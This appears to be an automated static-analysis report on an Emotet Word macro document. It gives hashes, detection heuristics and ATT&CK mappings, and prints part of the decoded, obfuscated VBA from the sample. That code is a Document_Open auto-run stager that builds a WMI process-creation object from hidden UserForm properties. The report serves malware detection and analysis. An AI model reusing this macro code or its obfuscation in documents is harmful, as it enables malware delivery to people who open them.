Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 f56ecc815102891a…

MALICIOUS

Office (OLE)

236.6 KB Created: 2020-02-07 13:40:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 97c573c5f7f7acea3cf53ea87fe04efa SHA-1: 4a2f98778be45ab788f99dd152e108d3129a2cda SHA-256: f56ecc815102891a50cdb64b859d00fe25d2191011355e2dbff7df30a981d273
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a UserForm hidden-property command stager, which are indicative of Emotet malware. The ClamAV detection also explicitly names Emotet. The VBA code appears to be obfuscated but its structure suggests it is designed to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7580201-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7580201-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10822 bytes
SHA-256: 118be45ec3b2dfe63391f034c8a12e159718c7d411498b5b4a41bb83a584c243
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Bgxfwvfiyfb"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   VmKtYZZ = "bsadjllqwe32233dd"
HKHAuHa = "gpZocAg"
UzYXtOG = "QrLimjN"
qwWzYTu = HKHAuHa & VmKtYZZ & UzYXtOG
SKKnUjw = ABC(qwWzYTu, HKHAuHa, "")
gpZocAg = ABC("aRmstMnrjXyQrLimjN", "tMnrjXy", "bHPciMm")
ghAbknS = ABC(SKKnUjw, UzYXtOG, "")
QLWgWME = Len(ghAbknS)
XywMRRi = "ZzMDbCl"
XywMRRi1 = ""
XywMRRi = XywMRRi & "wOCMJmT"
XywMRRi = XywMRRi & "EBAHJXf"
iMjMFUI = Len(XywMRRi)
tWlAAqZ = Int(QLWgWME) / 2
 
Hxzvhpvip.Zjubqopjbb
End Sub

Attribute VB_Name = "Lhafsfau"
Attribute VB_Base = "0{F69439B8-0E31-436E-B11C-9D576952CC1D}{83935A3A-65C6-4AED-8CBF-D7A628796084}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Hxzvhpvip"
Function Zjubqopjbb()
   VmKtYZZ = "bsadjllqwe32233dd"
HKHAuHa = "gpZocAg"
UzYXtOG = "QrLimjN"
qwWzYTu = HKHAuHa & VmKtYZZ & UzYXtOG
SKKnUjw = ABC(qwWzYTu, HKHAuHa, "")
gpZocAg = ABC("aRmstMnrjXyQrLimjN", "tMnrjXy", "bHPciMm")
ghAbknS = ABC(SKKnUjw, UzYXtOG, "")
QLWgWME = Len(ghAbknS)
XywMRRi = "ZzMDbCl"
XywMRRi1 = ""
XywMRRi = XywMRRi & "wOCMJmT"
XywMRRi = XywMRRi & "EBAHJXf"
iMjMFUI = Len(XywMRRi)
tWlAAqZ = Int(QLWgWME) / 2
 
Mzxyolamfu = "3}{33}{3w3}{3i3}{33}{3n3}{3m3}{3g3}{33}{3mt3}{33}{3" + ChrW(Lhafsfau.Zoom + 9 + 6) + ":3}{3wi3}{33}{3n33}{33}{33}{323}{33}{3_3}{33}{3" + Lhafsfau.Acywyscqdjdan + "r3}{33}{3o3}{3ce3}{3s3}{33}{3s3}{3"
   VmKtYZZ = "bsadjllqwe32233dd"
HKHAuHa = "gpZocAg"
UzYXtOG = "QrLimjN"
qwWzYTu = HKHAuHa & VmKtYZZ & UzYXtOG
SKKnUjw = ABC(qwWzYTu, HKHAuHa, "")
gpZocAg = ABC("aRmstMnrjXyQrLimjN", "tMnrjXy", "bHPciMm")
ghAbknS = ABC(SKKnUjw, UzYXtOG, "")
QLWgWME = Len(ghAbknS)
XywMRRi = "ZzMDbCl"
XywMRRi1 = ""
XywMRRi = XywMRRi & "wOCMJmT"
XywMRRi = XywMRRi & "EBAHJXf"
iMjMFUI = Len(XywMRRi)
tWlAAqZ = Int(QLWgWME) / 2
 
Xvyrezurdpcye = Pwkfxyawmzk(Mzxyolamfu)
   VmKtYZZ = "bsadjllqwe32233dd"
HKHAuHa = "gpZocAg"
UzYXtOG = "QrLimjN"
qwWzYTu = HKHAuHa & VmKtYZZ & UzYXtOG
SKKnUjw = ABC(qwWzYTu, HKHAuHa, "")
gpZocAg = ABC("aRmstMnrjXyQrLimjN", "tMnrjXy", "bHPciMm")
ghAbknS = ABC(SKKnUjw, UzYXtOG, "")
QLWgWME = Len(ghAbknS)
XywMRRi = "ZzMDbCl"
XywMRRi1 = ""
XywMRRi = XywMRRi & "wOCMJmT"
XywMRRi = XywMRRi & "EBAHJXf"
iMjMFUI = Len(XywMRRi)
tWlAAqZ = Int(QLWgWME) / 2

Set Rssizyvlopy = CreateObject(Xvyrezurdpcye)
   VmKtYZZ = "bsadjllqwe32233dd"
HKHAuHa = "gpZocAg"
UzYXtOG = "QrLimjN"
qwWzYTu = HKHAuHa & VmKtYZZ & UzYXtOG
SKKnUjw = ABC(qwWzYTu, HKHAuHa, "")
gpZocAg = ABC("aRmstMnrjXyQrLimjN", "tMnrjXy", "bHPciMm")
ghAbknS = ABC(SKKnUjw, UzYXtOG, "")
QLWgWME = Len(ghAbknS)
XywMRRi = "ZzMDbCl"
XywMRRi1 = ""
XywMRRi = XywMRRi & "wOCMJmT"
XywMRRi = XywMRRi & "EBAHJXf"
iMjMFUI = Len(XywMRRi)
tWlAAqZ = Int(QLWgWME) / 2

Gahqmovm = Lhafsfau.Ldkqwbeld.Tag
   VmKtYZZ = "bsadjllqwe32233dd"
HKHAuHa = "gpZocAg"
UzYXtOG = "QrLimjN"
qwWzYTu = HKHAuHa & VmKtYZZ & UzYXtOG
SKKnUjw = ABC(qwWzYTu, HKHAuHa, "")
gpZocAg = ABC("aRmstMnrjXyQrLimjN", "tMnrjXy", "bHPciMm")
ghAbknS = ABC(SKKnUjw, UzYXtOG, "")
QLWgWME = Len(ghAbknS)
XywMRRi = "ZzMDbCl"
XywMRRi1 = ""
XywMRRi = XywMRRi & "wOCMJmT"
XywMRRi = XywMRRi & "EBAHJXf"
iMjMFUI = Len(XywMRRi)
tWlAAqZ = Int(QLWgWME) / 2

Ccxnflxsx = Xvyrezurdpcye + ChrW(Lhafsfau.Zoom + 9 + 6) + Lhafsfau.Jabtauno.Tag + Gahqmovm
   VmKtYZZ = "bsadjllqwe32233dd"
HKHAuHa = "gpZocAg"
UzYXtOG = "QrLimjN"
qwWzYTu = HKHAuHa & VmKtYZZ & UzYXtOG
SKKnUjw = ABC(qwWzYTu, HKHAuHa, "")
gpZocAg = ABC("aRmstMnrjXyQrLimjN", "tMnrjXy", "bHPciMm")
ghAbknS = ABC(SKKnUjw, UzYXtOG, "")
QLWgWME = Len(ghAbknS)
XywMRRi = "ZzMDbCl"
XywMRRi1 = ""
XywMRRi = XywMRRi & "wOCMJmT"
XywMRRi = XywMRRi & "EBAHJXf"
iMjMFUI
... (truncated)

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